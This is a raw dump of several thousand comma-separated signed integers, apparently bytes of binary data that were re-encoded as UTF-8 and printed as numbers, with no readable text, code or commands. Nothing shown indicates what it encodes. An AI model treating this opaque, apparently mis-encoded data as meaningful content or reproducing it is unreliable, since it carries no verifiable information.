-61, -73, -61, -98, -62, -97, -62, -102, 60, -62, -84, 61, -61, -77, 68, 58, -61, -106, 10, -62, -111, 8, 58, 56, -61, -105, -61, -115, 43, 23, 65, -62, -121, -61, -72, 14, 100, -61, -77, 6, -62, -74, -62, -70, 106, -61, -67, -62, -66, 109, 17, 69, 108, 55, -61, -119, 56, 88, -62, -126, 99, 118, 91, -62, -109, 70, -61, -78, -62, -95, -62, -120, -62, -107, 80, 109, 81, 7, 69, 92, 55, 122, -62, -108, -62, -123, 12, 25, -62, -113, 107, -62, -114, -62, -70, 99, 81, 38, 113, -61, -97, 43, 50, -62, -74, 52, 16, -62, -128, 47, -61, -116, -61, -90, 80, 24, 101, -61, -125, -61, -88, -61, -99, 117, 57, -62, -105, 66, -62, -83, 61, 86, -61, -66, -62, -99, 19, 34, 52, -62, -108, 5, -61, -69, -62, -83, -62, -93, 54, 12, -61, -84, 8, 88, 8, 99, -61, -106, -61, -73, 45, 117, 33, 91, -61, -110, 99, -61, -125, -62, -90, -61, -95, -61, -116, 41, -62, -119, -62, -68, -62, -81, 49, 45, -62, -116, -61, -126, 23, 16, -61, -92, 46, 66, -61, -74, 86, -62, -121, -61, -114, 18, -61, -94, 17, -62, -69, 56, -61, -90, 6, -61, -86, -62, -71, 88, 122, -62, -74, 5, 24, -62, -91, 107, -62, -124, 110, 44, 10, 14, 94, 7, 55, -62, -81, 3, 34, -61, -79, 90, -61, -111, 100, 116, 121, 109, -62, -79, 61, 110, 55, -61, -77, 21, 84, 81, 56, -62, -125, -61, -118, 67, 37, -62, -71, -61, -107, -61, -113, 114, 10, 57, -62, -94, -62, -126, 53, -61, -125, -61, -127, 62, -62, -83, -61, -117, 115, -61, -104, 87, -62, -87, -62, -125, 32, -62, -71, -61, -92, -62, -120, 73, 85, 18, -61, -73, -62, -113, 5, 10, 63, 2, 98, -62, -92, 19, -61, -84, 39, 91, 86, 109, 48, 30, 25, -62, -72, -62, -125, 27, -62, -114, -62, -123, -62, -78, -62, -107, -61, -125, 24, 115, -62, -95, -62, -127, 59, 127, 47, -62, -101, 98, -62, -85, 5, -62, -116, -61, -67, -61, -116, -62, -120, 1, 29, 61, 102, 55, 127, -62, -84, -61, -86, 98, -62, -82, 78, -62, -72, 37, -62, -119, 100, 108, -61, -116, 68, 7, -62, -120, 103, 74, -61, -127, -62, -94, -62, -117, 23, -62, -83, -61, -69, -61, -72, -61, -104, -61, -120, 120, 3, -62, -75, 52, -62, -85, -62, -71, -62, -120, -61, -71, 6, -62, -105, -62, -79, 51, 69, -61, -100, -62, -95, 84, 13, -62, -108, 114, -61, -116, -62, -71, 58, 17, -61, -94, -61, -93, 90, 8, 78, 127, 117, -61, -127, 12, -62, -98, 124, 105, 57, 112, -62, -117, 52, -62, -103, -61, -66, -61, -121, 110, -62, -87, -62, -87, 97, -62, -84, -62, -110, -61, -69, 26, -62, -81, 44, 17, -61, -82, -62, -117, 110, -61, -82, -62, -90, 50, -61, -116, -61, -65, 14, -62, -113, 107, 72, 122, -62, -107, 113, -62, -121, 107, -61, -123, 18, -62, -108, -61, -95, -61, -66, -62, -104, 118, -61, -122, -61, -66, -62, -72, 121, 57, 110, 5, 90, 121, -62, -91, -61, -68, 3, 71, -61, -119, 7, -61, -102, 78, -61, -67, -61, -81, -61, -102, -62, -79, 115, -61, -128, -62, -107, -61, -81, -62, -102, -61, -94, -61, -106, 95, 90, -61, -126, -61, -90, -61, -123, -61, -66, 54, -62, -73, -62, -99, -61, -120, -61, -122, 96, -62, -116, 99, 66, -62, -90, 87, -62, -84, -62, -95, 94, -61, -90, 119, -61, -80, 96, -62, -79, -61, -99, 16, 38, 53, -61, -78, 90, 25, 11, -61, -100, -62, -80, 126, 84, 115, -62, -86, 96, -61, -107, -61, -114, 53, -61, -123, 62, -61, -127, 125, -62, -99, -61, -100, -62, -111, 115, -62, -81, -61, -90, -62, -106, 42, -62, -115, -62, -127, -62, -121, 8, -61, -105, -62, -94, 41, 26, -62, -124, 92, -62, -120, 53, 69, -61, -65, 33, -61, -119, 24, -61, -103, -61, -95, 11, 15, -62, -97, 109, -61, -106, 29, 127, 76, -62, -89, -61, -124, -62, -80, -61, -87, 83, 85, 110, -62, -85, -62, -84, 51, 57, -61, -118, -62, -91, 23, 65, -61, -122, 27, -61, -111, 111, -61, -72, 98, -61, -110, -62, -84, 122, -62, -98, -61, -78, -62, -75, 119, 12, 2, 30, -62, -116, 101, 97, -61, -124, -62, -121, 114, 95, 81, 114, 16, 11, -61, -97, 17, 107, 44, 16, 88, 17, 24, -62, -97, -61, -77, -61, -122, -62, -81, -61, -84, 50, -61, -100, -62, -115, 94, -62, -122, 108, 54, -61, -73, 81, -62, -68, 94, -62, -126, 44, -62, -104, 67, -62, -82, 47, 114, -62, -76, -61, -75, -61, -109, 46, -62, -99, 60, -61, -116, -61, -84, -62, -117, 7, 48, 59, -61, -79, -62, -119, -62, -77, 125, 37, 44, -62, -94, -62, -95, -61, -76, 51, -61, -118, 4, -62, -117, -62, -96, 70, 57, -62, -72, 89, 93, -62, -72, 124, 94, -62, -105, 60, -62, -123, 104, 38, 33, 101, -62, -93, -62, -123, -62, -112, -61, -117, 51, 49, -61, -92, -61, -83, 87, -61, -69, -62, -95, -62, -99, 89, -61, -92, -62, -66, -61, -126, 101, -61, -92, -61, -77, -61, -117, -61, -104, -61, -70, -61, -124, 81, 60, -62, -85, -62, -90, 12, 93, 88, -62, -92, 80, 95, -62, -95, 109, -61, -66, -61, -72, 32, -62, -124, -61, -115, 121, -61, -108, 58, 9, -61, -122, 12, -62, -96, 73, -61, -111, -61, -98, -62, -115, 4, -61, -88, -61, -110, 82, -62, -65, -62, -95, 68, -62, -91, -62, -114, -61, -76, 88, 20, -62, -113, 39, 52, 92, -62, -88, -62, -76, 57, -62, -103, 28, -62, -119, -61, -81, -62, -83, -62, -82, 55, -62, -103, -62, -108, 115, -62, -66, 26, 1, 35, -61, -116, 64, -62, -79, 62, -62, -88, 57, 31, -61, -128, 109, 112, -62, -100, 90, -62, -112, -62, -113, -61, -74, -62, -106, 98, 65, 18, 54, 78, 49, -62, -66, -62, -67, 70, -61, -102, 104, 42, -62, -71, -62, -65, 105, -62, -67, -61, -120, -61, -72, 76, -62, -73, 62, -61, -78, -62, -115, 99, -62, -109, -61, -93, 106, -62, -103, 29, -61, -103, -61, -80, 29, 109, 117, 46, 98, 121, -62, -71, -62, -98, 49, 68, 125, 60, -61, -103, -61, -97, 88, 75, -62, -122, 96, -62, -79, 93, -61, -119, 9, -61, -110, -61, -90, -61, -75, 32, -62, -82, 15, -61, -118, -61, -91, -62, -69, -61, -99, 57, -61, -105, -61, -83, 102, 44, 111, -62, -88, -61, -79, -62, -94, -61, -103, 13, -62, -124, -62, -75, -62, -95, 126, 69, 125, 68, -61, -105, -61, -96, -61, -86, 126, -62, -91, 56, -62, -73, 58, 68, -62, -65, -61, -69, 86, 87, 91, 59, -62, -117, -62, -85, 27, -62, -91, 109, 18, 118, 101, 67, -62, -74, -61, -118, 49, 45, -61, -84, 98, -62, -89, -61, -65, 60, 88, 3, -62, -103, 28, 39, -61, -116, -62, -83, 11, 66, -61, -104, -61, -83, -62, -87, 24, 23, 67, 73, -62, -93, -61, -67, 29, -61, -87, -62, -121, -62, -101, 83, -62, -125, 91, -62, -102, -62, -84, -61, -102, 52, 38, -62, -109, 21, 2, -62, -107, -61, -95, 96, -62, -99, 50, 98, 81, -61, -69, 32, 26, -61, -118, 103, 122, -64, -128, -62, -121, 39, -62, -111, 47, -61, -111, 41, -61, -124, -62, -68, 84, -62, -67, 54, -61, -109, -61, -104, 113, 53, -62, -109, 10, 66, 110, -61, -115, -62, -89, -62, -98, -62, -114, 13, 34, 50, -61, -66, -64, -128, 21, -62, -85, 62, -61, -65, 103, 84, -61, -101, -61, -67, -61, -117, 29, -61, -74, 95, -62, -123, -61, -104, 34, 107, -62, -110, -64, -128, 87, -62, -121, -62, -72, -62, -74, -62, -127, -62, -76, -62, -106, -62, -103, -62, -77, 64, -61, -89, 101, 87, 69, 34, -61, -69, 35, -62, -71, 52, -61, -72, -62, -87, 41, -61, -82, 105, 35, -62, -100, 2, -61, -106, -62, -77, 30, 29, 64, -61, -123, -61, -102, 81, -61, -121, 61, 120, -61, -128, -61, -81, 15, -62, -102, -61, -126, 4, -62, -127, -61, -128, 109, 105, -62, -68, 45, -61, -113, -62, -89, 56, 106, -61, -81, -61, -102, 5, 34, -61, -89, 47, 78, 68, -62, -104, -61, -127, 40, -62, -105, 48, 48, 41, 58, 120, -61, -92, 13, 97, -61, -104, -62, -111, 5, 68, -61, -103, -62, -88, -61, -68, -62, -118, -62, -127, 52, 81, -62, -86, -61, -91, 120, -61, -96, 98, 41, 22, 57, 26, 52, 51, -61, -118, 13, 63, -62, -116, 119, -61, -73, -62, -120, 101, -64, -128, -62, -126, 78, 12, 97, -62, -101, -62, -128, -62, -65, -62, -115, 96, 97, 89, 108, -61, -82, -61, -102, -62, -114, -62, -109, -61, -93, 110, 42, 24, 36, -61, -70, -61, -94, 113, 84, 49, 55, -61, -66, -64, -128, 40, -61, -117, 26, -61, -107, 17, -62, -117, 89, 55, 81, 77, 35, -61, -107, 62, -61, -85, 102, 20, -62, -84, 65, -62, -73, 4, -62, -78, 79, 40, 15, -62, -108, -62, -95, -62, -106, 18, 81, 107, -61, -105, 121, 102, -62, -74, 3, -62, -68, 117, -61, -95, -61, -102, -62, -98, -61, -103, -62, -91, 47, 11, -62, -77, -62, -113, -61, -80, -62, -94, -62, -98, 54, -61, -93, -62, -80, 46, 14, 75, -61, -127, 26, 90, -61, -96, 119, -61, -71, 122, 12, -62, -111, 23, 72, 97, 104, 74, -62, -82, 74, -61, -119, -61, -70, -61, -75, 52, 42, 61, 76, 123, -61, -114, 47, -61, -114, 109, 94, 82, -62, -123, 100, -62, -102, -61, -67, -62, -104, 39, -61, -108, 84, 90, -62, -122, -61, -125, -62, -82, -61, -86, -62, -108, 127, 8, -62, -114, 126, 1, -61, -127, -61, -106, 6, 122, -62, -88, -61, -123, -62, -112, -62, -122, -61, -120, -61, -128, 21, 81, -62, -124, -61, -120, -62, -97, -62, -120, -61, -65, 106, 8, -62, -100, 104, 18, 111, -61, -104, 44, 22, 37, -61, -105, 43, -61, -84, -62, -97, -61, -123, 78, 114, -61, -101, 126, 26, 88, -61, -90, -61, -78, -61, -88, -61, -78, 107, -61, -95, -61, -101, -62, -68, -64, -128, -62, -85, -61, -73, 81, 96, 7, -61, -101, 110, 113, 54, -61, -94, -61, -65, 94, -61, -124, -61, -102, -61, -74, 120, -61, -113, -61, -83, -62, -84, -61, -123, 80, 100, 72, 75, 114, 92, 94, 8, -61, -107, -61, -118, 90, -62, -126, 92, 106, 124, -61, -98, -61, -90, -62, -104, -61, -82, -62, -106, 126, -61, -105, 5, 103, 40, -61, -123, 77, -62, -105, -62, -124, 85, 27, 8, 43, -62, -88, -61, -70, -62, -128, 56, 74, 37, 87, 50, -61, -71, -62, -99, 92, 85, 17, 31, -62, -73, -62, -116, 77, -61, -103, 69, 111, -61, -74, 14, 101, 102, -62, -104, -62, -120, 62, -61, -78, -61, -109, 57, 15, -64, -128, 19, 92, -62, -68, -62, -86, 92, 117, 66, 119, 59, -61, -117, 78, 47, 72, -61, -107, -62, -89, 36, -62, -67, -61, -102, -62, -86, -62, -93, -61, -82, -61, -84, 110, 46, 84, -61, -84, 31, -62, -71, -61, -103, 89, -62, -107, -62, -95, -61, -105, -62, -80, 14, 62, 64, -61, -102, 17, 61, 17, 122, -61, -111, -61, -113, 88, -62, -109, -61, -102, 15, -62, -120, -61, -86, 42, 21, 111, -62, -121, -61, -85, 79, -61, -76, -61, -101, -61, -66, -61, -122, 50, 74, -61, -99, -62, -102, -61, -80, -61, -119, -61, -84, -61, -119, -61, -76, 111, 9, 88, 95, 90, 88, -61, -70, 35, -61, -116, -61, -115, -62, -94, 86, 122, 107, -61, -92, 60, -61, -72, 125, 69, -61, -110, -61, -93, -62, -70, -62, -120, 46, -61, -123, 12, 11, 75, -62, -115, -61, -88, 108, 50, 51, 113, 2, -61, -114, -62, -94, 11, -61, -102, -61, -92, -62, -124, -62, -68, -62, -96, 47, -61, -93, -61, -100, -61, -79, -62, -114, 110, -61, -97, -62, -91, 30, -61, -128, 15, 68, -61, -69, -61, -114, -61, -79, 54, 114, 103, -61, -102, 99, -61, -105, -61, -87, 69, 117, 70, 75, -61, -103, 88, -62, -114, 104, 100, 68, -62, -104, -62, -120, -61, -99, -62, -68, 27, -62, -119, 101, 35, 93, 42, 113, 60, -61, -121, 83, -62, -79, -62, -97, -61, -125, 8, -61, -112, -62, -82, -62, -92, -62, -72, -61, -96, -61, -81, 58, -62, -126, -61, -70, -61, -80, -62, -120, 56, -61, -96, 75, 82, -62, -81, 51, 21, -61, -113, 123, 81, -62, -124, -62, -120, -62, -124, -61, -73, 30, -62, -96, -62, -90, 13, 60, -61, -83, 14, 58, 39, -61, -88, 120, -62, -110, -61, -83, -62, -110, 21, -61, -90, 8, 122, -62, -73, -61, -127, 9, -61, -111, 8, -61, -96, -62, -76, -62, -128, 115, -61, -79, -62, -110, 84, 112, 44, 42, -62, -86, -61, -78, 109, -61, -70, -61, -125, 4, -61, -124, -61, -97, 50, -61, -119, 32, -62, -112, 119, -62, -128, 48, 30, 15, -62, -128, 64, -61, -105, -62, -122, -62, -104, 87, 12, -62, -93, 73, 83, 34, 95, -61, -72, 111, -61, -121, 71, -62, -122, -61, -102, -61, -111, -61, -122, 58, 103, 102, -62, -66, -61, -65, -62, -87, -61, -127, -61, -91, 13, 76, 111, 5, -61, -107, 110, -61, -94, -61, -108, -61, -114, 79, 122, 42, 59, -61, -116, 24, -62, -123, 55, 46, -62, -107, 25, -61, -113, -61, -122, 113, -62, -88, -61, -77, 114, -62, -66, -61, -113, -62, -119, -61, -122, 58, -62, -107, 9, 42, -61, -73, 51, -62, -104, 74, -62, -99, 82, -62, -114, -61, -82, -61, -112, 114, -64, -128, -62, -94, -61, -123, 20, -61, -85, -61, -80, 60, -62, -111, 124, 118, -61, -68, -61, -124, -61, -102, 125, -62, -125, -61, -119, -62, -69, 110, -61, -118, 117, -61, -83, 85, -61, -78, -62, -74, 41, 88, -61, -65, 44, -61, -118, 6, 101, 48, -62, -104, 32, -62, -126, -61, -78, -62, -127, -62, -125, 101, 37, 110, 104, -61, -110, -61, -114, -61, -116, -61, -85, 21, 4, -62, -119, -62, -106, -61, -121, -62, -92, 74, 60, -61, -120, -61, -123, 45, 70, -61, -103, 121, 62, 45, 83, 106, -61, -110, 119, 78, -61, -88, -61, -79, 101, 110, 85, 114, -61, -100, 93, -62, -91, -61, -125, 37, 45, -64, -128, 89, 63, 80, 25, 47, 21, 37, 94, 108, -62, -122, 125, 22, 118, 117, -62, -83, -62, -91, 49, -61, -108, 85, -61, -123, 89, 114, 120, 11, 42, -62, -98, 13, 77, -62, -104, 106, 68, -62, -95, -62, -75, -62, -103, -62, -85, -62, -69, 69, 38, -61, -124, 73, -61, -107, 75, -62, -115, 122, 53, 34, 30, -61, -78, -62, -79, 50, -62, -120, -61, -73, 27, 4, 22, 116, 96, 104, -61, -77, 17, 5, -61, -84, 36, -61, -127, -62, -83, 71, 64, -61, -95, -61, -111, 64, 57, -61, -109, 114, -62, -105, -61, -71, -62, -75, 121, 80, -62, -97, 78, 109, 122, 104, 110, 76, 77, -62, -111, 56, 31, -62, -91, 11, -62, -80, -62, -88, 3, 92, 59, -61, -83, 121, 91, 101, 47, -62, -87, 62, 104, -61, -122, 48, -61, -85, 30, 97, 78, -62, -67, 39, -62, -86, -61, -90, -61, -88, 15, 104, 70, -62, -75, 19, 69, 55, -62, -126, -61, -74, 39, -61, -86, 67, 88, -62, -78, -61, -112, 29, 127, 48, 85, 9, -61, -121, 102, -62, -125, 102, -62, -113, 44, 82, 109, -62, -66, -61, -127, 101, -62, -106, -62, -95, 120, 106, -61, -94, 79, 15, 93, -62, -70, 78, 103, 114, -62, -69, -61, -97, 107, -62, -86, -61, -83, 26, -61, -93, 80, 50, 12, 98, 121, -62, -126, -62, -117, -62, -79, 77, 73, 85, -61, -112, -61, -66, -62, -106, -61, -101, -61, -100, 35, -61, -65, 59, -61, -110, -61, -87, 121, 76, -61, -102, -61, -67, 125, 103, 24, -62, -115, 28, 42, -62, -107, -62, -112, 119, 65, -61, -90, 16, 56, -61, -88, -61, -106, 117, 11, 93, 103, -62, -111, 95, 77, 6, 109, -61, -90, 14, 9, -61, -95, 92, -61, -75, -61, -76, 98, 43, -62, -122, -62, -76, 126, 80, 11, 102, 43, 115, 20, -62, -67, -61, -74, 45, 21, 81, -61, -127, -62, -82, -62, -102, -61, -124, 31, 98, -61, -122, -61, -99, -62, -119, -62, -112, 31, -62, -117, -61, -124, -62, -97, 27, -62, -78, -61, -123, -62, -78, -61, -95, 113, 113, 13, -61, -89, -61, -80, 15, 65, -61, -82, -61, -116, -62, -105, 15, 8, 29, 31, 120, 30, 80, 121, 70, -62, -100, 45, -62, -84, 111, -61, -121, -62, -125, -61, -66, 66, -61, -66, -61, -103, -61, -69, 17, 80, -61, -117, 124, -62, -76, 121, -62, -82, 7, -62, -109, 72, -61, -121, 125, 106, 8, -62, -124, -62, -122, -62, -125, -62, -78, 92, 91, 33, -61, -119, 117, -62, -88, 124, 78, -62, -74, 43, 1, -62, -111, -62, -85, 28, -62, -107, -61, -108, 33, -61, -100, -62, -119, 124, -61, -107, -62, -83, -62, -75, -62, -100, 113, -62, -110, 38, -62, -66, -62, -116, -62, -110, 13, -62, -98, 7, -61, -93, -62, -124, -62, -97, -62, -118, -62, -100, 85, 71, 119, -61, -75, -61, -91, -62, -112, 8, -62, -110, 76, -61, -110, 94, 101, -61, -92, -61, -65, -64, -128, 125, -62, -111, -61, -80, 122, -61, -106, -62, -109, -62, -79, -61, -119, -61, -99, 92, -61, -121, 89, 73, 36, 16, 80, -61, -95, -62, -121, 56, -61, -109, 96, 102, 4, 50, 49, 96, -61, -119, 111, -61, -82, 72, -61, -122, -62, -112, 89, 46, -61, -128, 119, -62, -107, -62, -84, -62, -106, -61, -72, -64, -128, 123, -62, -103, -62, -77, -61, -83, -62, -118, -62, -72, -62, -113, 24, 9, 73, 115, 1, -62, -105, -62, -92, -61, -82, 115, 96, 81, -61, -83, -62, -94, 45, 24, -61, -80, -62, -111, 126, -61, -78, 33, -62, -128, 25, -61, -95, -61, -87, 84, 50, -62, -119, -62, -121, -62, -95, 106, -62, -76, -62, -85, 82, 108, -62, -119, -62, -128, 95, 106, 80, -61, -119, 73, 17, -61, -128, 116, -61, -94, -61, -113, 108, 6, 107, -62, -109, 46, 12, -61, -75, 59, 72, 82, 48, 4, -62, -70, 117, 17, -61, -65, -62, -87, -61, -101, -61, -76, -61, -112, -61, -104, -62, -96, 58, -61, -92, -62, -97, -62, -110, -62, -124, -61, -67, -61, -72, 98, 89, 87, 113, 46, -62, -110, -62, -93, -61, -67, -62, -99, -62, -107, 120, -61, -85, 31, -62, -87, -61, -126, 23, -61, -78, -61, -112, 57, -61, -107, -62, -87, 42, 67, 106, -62, -82, 44, -62, -103, -62, -98, -61, -90, -62, -86, 36, -61, -120, -61, -100, 60, 15, -62, -112, -61, -107, -61, -92, 38, -62, -74, -61, -87, 68, 31, -62, -104, 104, -62, -123, 47, -62, -100, -62, -97, -62, -110, 48, -62, -111, 19, -61, -124, 76, -61, -109, -62, -78, 88, 48, -62, -121, -62, -67, 6, 78, -61, -120, 29, -61, -66, 62, 80, -61, -91, 110, 9, 18, 92, -62, -76, -62, -79, -61, -81, -61, -111, 102, 23, -62, -125, 109, -61, -72, -61, -98, -61, -91, -61, -94, 44, -61, -112, -61, -86, 69, 89, 49, -61, -120, -62, -66, -61, -78, 109, 35, -61, -102, 10, 113, -62, -107, 63, 72, -61, -78, -62, -100, 23, -62, -91, -62, -112, -61, -87, -61, -99, -62, -101, -61, -72, 52, 35, -62, -71, 95, 8, 21, -62, -72, -62, -111, -62, -123, 69, 116, -61, -72, -62, -91, 106, 88, 28, 99, -61, -124, 109, 93, -62, -67, -61, -124, 115, 58, 31, 32, -61, -71, -62, -73, 63, 102, 54, 87, -61, -118, 36, -61, -126, -61, -87, -62, -80, 103, 121, 1, -62, -78, 4, 23, -62, -116, -61, -103, -62, -111, -62, -76, -61, -128, -61, -69, -61, -77, -62, -117, -61, -114, 52, 17, -61, -128, -62, -65, -62, -84, -61, -75, 87, 14, 85, -61, -111, -61, -68, -61, -73, 114, 32, -62, -112, 98, 12, -62, -118, 122, -61, -118, -61, -123, -62, -68, 17, -61, -91, 6, 40, -62, -91, -61, -123, -62, -90, 32, 122, -62, -99, -61, -119, 4, 78, -62, -84, 46, -61, -72, 111, 28, -61, -72, 97, -61, -101, -62, -125, 2, 68, -61, -118, 7, 19, 126, 9, 19, 20, 17, 104, -61, -126, 49, -61, -75, -61, -94, -62, -112, 50, 5, 73, 126, -62, -91, 90, -61, -87, 43, 47, 3, 55, -62, -73, 90, 89, 103, -61, -65, -61, -125, 111, -61, -128, -61, -82, -62, -107, -62, -68, -62, -76, -62, -118, -61, -68, 52, -61, -112, -61, -101, -61, -72, 49, 107, 56, 73, 29, -61, -66, 82, 88, 97, -61, -95, -62, -99, -61, -104, -62, -111, 66, 79, 30, -62, -124, 14, -61, -82, -62, -67, -61, -124, -62, -122, -61, -74, 119, -61, -101, -62, -104, 23, -61, -82, -61, -68, 43, -61, -122, -61, -93, -62, -127, -62, -89, -61, -98, -61, -107, 5, 83, 111, 11, -61, -69, 24, 16, 58, -62, -84, 119, -61, -72, -61, -66, -62, -85, 68, 86, 113, -61, -111, 79, -61, -113, 100, 54, -61, -91, -62, -76, -61, -74, 34, -62, -71, 2, -62, -118, -61, -128, 65, -61, -67, -62, -90, -61, -124, -62, -109, -62, -79, -62, -93, 29, 121, -61, -95, -62, -117, -62, -108, 52, -62, -103, -62, -88, -62, -116, 81, -61, -82, 75, -62, -89, 29, 85, -62, -76, 61, -61, -103, -61, -71, 123, -61, -100, -62, -119, -61, -91, -61, -115, 23, -61, -95, -62, -85, 64, -62, -99, -62, -111, -61, -91, -61, -78, 86, 46, 36, -61, -80, -62, -68, -61, -123, -62, -118, 51, 54, -62, -120, -62, -101, 41, -62, -101, -61, -88, -61, -71, 97, 9, 16, 72, -61, -72, 95, -62, -118, -62, -112, 95, 59, -61, -81, -62, -102, -62, -102, 25, 59, 1, -62, -72, -61, -116, -62, -83, -62, -99, -62, -96, -61, -90, -62, -80, -62, -94, 48, -62, -101, -62, -83, 32, -61, -80, 79, 65, -62, -126, -61, -120, 66, -61, -93, 72, -62, -115, -62, -119, -62, -72, -61, -110, 98, 37, 14, -61, -92, -61, -73, -62, -117, -61, -91, -62, -79, -62, -103, 61, 57, -62, -89, -62, -88, -61, -106, 85, -61, -70, 116, -62, -102, 15, -61, -96, -62, -97, 56, -61, -128, 71, 44, 68, 103, 60, 110, 109, -62, -66, 112, -61, -109, -62, -104, -61, -76, 95, -61, -98, -62, -78, -62, -75, -61, -127, 110, 95, -62, -98, 119, -61, -71, 16, -62, -100, -61, -126, -61, -128, 104, 93, -62, -104, -62, -114, 61, -62, -106, 59, 13, 65, 43, 119, -62, -76, 24, -62, -75, 3, -61, -123, -62, -81, -62, -120, 99, 106, -62, -101, 55, 36, 24, 6, 88, 32, -62, -73, -62, -78, -61, -68, -62, -120, 100, 127, 78, 61, 10, -61, -120, -61, -95, -62, -101, -64, -128, -62, -66, 104, 88, 112, -61, -81, -62, -103, 30, 125, -61, -79, 12, -61, -70, -62, -125, -61, -102, -62, -80, -61, -67, 14, 98, 116, 25, -61, -72, 67, 86, 124, -62, -119, -61, -122, -62, -73, -62, -109, -62, -112, 11, 118, -62, -93, 97, -61, -73, 31, 51, 60, 108, 4, 20, -62, -88, -61, -84, 85, 37, -61, -121, 42, 47, -61, -107, 113, -62, -117, -61, -102, 64, 127, -61, -93, -62, -109, -62, -94, 39, -62, -73, -61, -88, 103, -62, -96, 94, 9, -61, -93, 16, 11, 45, 54, -61, -89, 78, -61, -107, 104, -62, -78, 5, -62, -113, -62, -79, 21, -61, -80, -62, -71, 21, -61, -110, 112, -61, -112, -62, -108, 118, 103, 60, -62, -127, -61, -127, -61, -91, -62, -97, 88, -61, -85, 80, 125, 22, -62, -77, 57, -61, -114, -62, -78, -61, -94, 39, 10, 59, 71, 78, -61, -86, 113, 87, 110, 53, -61, -74, 2, 97, 94, 82, -62, -70, -61, -71, 120, 46, 64, 37, -62, -66, -61, -107, 36, 80, -62, -85, 50, 4, -61, -124, 113, -62, -66, 35, -62, -104, -62, -73, -62, -123, 79, -61, -116, -61, -127, 20, -61, -85, 91, 25, -62, -92, -62, -103, 119, -61, -95, -61, -115, 66, -61, -86, 25, 33, -62, -89, -61, -127, 28, -61, -116, 2, -62, -71, -61, -78, 68, 64, -61, -84, 8, 57, -61, -93, -61, -123, 18, 104, 93, 93, 121, -62, -100, 36, -62, -85, 41, -61, -78, -62, -112, 115, 117, -62, -84, -61, -118, 15, 5, -62, -115, 41, -61, -84, -62, -73, -62, -126, 62, -62, -78, 99, 123, 64, -61, -88, 37, 115, -61, -98, 26, -62, -89, 94, 118, -61, -89, -62, -71, -61, -90, -61, -70, -62, -118, -62, -93, -62, -81, 29, -61, -128, 98, -62, -89, 94, -62, -119, 16, 114, -61, -102, -62, -65, 66, 47, 117, -61, -94, -61, -76, -62, -77, 43, -61, -109, 14, 125, -61, -122, -61, -85, 49, -61, -101, 63, 61, 125, 54, 24, 96, -62, -71, -62, -109, 95, 122, 121, -61, -71, 46, 15, 29, -61, -113, 92, 62, -62, -94, -62, -86, -62, -78, 25, 94, -61, -65, -61, -125, 35, 72, -62, -114, -61, -121, -61, -65, -62, -111, 29, -61, -83, 11, -62, -104, -62, -122, 105, -61, -123, -61, -115, -61, -102, 65, 117, 59, -62, -78, 54, -62, -68, -62, -127, 24, 83, 23, -61, -120, 79, 77, -61, -102, 120, -62, -81, -61, -102, 11, -62, -116, -62, -78, 59, -62, -112, -61, -72, -62, -89, -61, -109, -62, -100, -61, -105, -62, -73, 38, -61, -116, -62, -104, 72, 68, 43, 41, -61, -99, -61, -71, -61, -99, 115, 15, -61, -103, 110, 67, 70, 68, 14, 43, -61, -111, -61, -116, 46, -62, -122, 108, 30, -62, -121, -62, -72, 70, -62, -86, 108, -62, -80, 64, 95, -62, -95, -61, -88, -61, -114, 16, -62, -79, 119, -61, -76, 35, -62, -71, 58, 53, -61, -118, -61, -77, 74, -62, -70, 34, -61, -88, 116, 30, -62, -114, -62, -79, 67, -62, -95, -62, -71, 125, 67, -61, -78, 93, -62, -74, -62, -96, 119, -61, -81, 121, -61, -75, 13, 26, -62, -116, -62, -104, 94, 82, -62, -102, -62, -109, 3, -61, -72, 2, -61, -113, -62, -89, -61, -110, -62, -68, -62, -77, -61, -81, -61, -88, 37, 44, 106, -62, -104, 98, 74, -61, -120, -62, -111, -61, -106, -62, -67, -62, -128, 28, -61, -128, 41, 10, -61, -110, -62, -74, 103, -61, -69, 96, 41, 22, -62, -77, -62, -69, 35, -62, -78, 2, -62, -110, 75, -62, -121, -61, -114, -62, -125, 82, 41, -61, -86, -61, -110, 6, 119, 22, -62, -115, 79, -62, -100, 127, -62, -86, 70, 67, -61, -114, -61, -98, 58, 109, 111, -61, -101, 37, -61, -115, -61, -78, 16, 90, 21, 41, 66, -61, -128, 89, -62, -71, -61, -96, -62, -105, -61, -85, 68, 35, -61, -69, -61, -94, -62, -78, -62, -79, -62, -112, 58, 57, -62, -95, 13, 21, -61, -106, -62, -89, 66, 43, -61, -127, 91, 89, -61, -73, 89, -61, -87, 40, 7, -62, -67, 56, 102, -62, -106, 8, -62, -102, -62, -67, 3, -61, -72, -61, -83, -61, -79, -62, -126, -61, -114, -62, -74, -61, -83, 45, -61, -88, 30, 56, -61, -103, 69, -61, -70, -61, -91, -62, -71, 107, 110, -61, -81, 46, 106, 60, 60, 72, 119, -61, -109, 59, -62, -92, 85, 108, 56, -62, -72, -61, -95, 92, 127, 62, 74, -61, -108, 4, -61, -120, -61, -127, 32, 103, -61, -90, 45, 39, 53, -61, -99, 63, -62, -109, -62, -87, 32, 121, 42, -61, -112, 13, -62, -82, -62, -110, -61, -87, -62, -78, -61, -100, -62, -69, 123, 48, 22, -61, -107, -62, -102, 71, -62, -82, -62, -70, 72, -61, -90, -62, -120, 86, -62, -81, 56, -61, -98, -62, -71, 121, -61, -86, 67, -61, -67, 71, -62, -104, -61, -80, 32, -62, -116, -61, -117, 28, -61, -93, 41, -62, -117, 30, -61, -125, 33, 93, 98, -62, -104, 116, 33, -62, -67, 58, -61, -104, -61, -101, -62, -71, 88, 67, -61, -110, -61, -114, 42, -61, -102, 89, -62, -74, -61, -115, 61, -61, -113, -62, -71, -61, -98, 70, -61, -84, 50, 96, -61, -95, -62, -100, 96, 25, -62, -71, -61, -128, -62, -115, 102, 89, -61, -116, -61, -110, 77, -61, -117, 10, 33, 120, -62, -115, 32, 91, -62, -118, -62, -108, 40, -62, -72, 54, 72, -62, -74, -61, -75, 13, 27, 105, 8, 51, 120, -61, -98, -61, -78, 106, -61, -101, -62, -125, -61, -79, 118, 11, 103, -61, -75, 11, 24, 68, 22, 55, 101, -61, -118, 20, 22, 123, -61, -73, -61, -76, 107, -61, -76, 73, 98, 15, -62, -116, -62, -110, 46, -61, -65, -61, -103, -61, -120, 14, -61, -109, 77, 82, -62, -102, -61, -105, 111, 53, -61, -108, -62, -107, -62, -97, -61, -87, 47, 101, -61, -126, 123, -61, -98, -62, -87, 87, 65, -62, -100, -61, -99, -62, -79, 63, -62, -85, 38, 113, 33, -62, -71, 94, -61, -110, 122, 67, -61, -96, 116, 60, 120, 3, -61, -122, 127, 20, 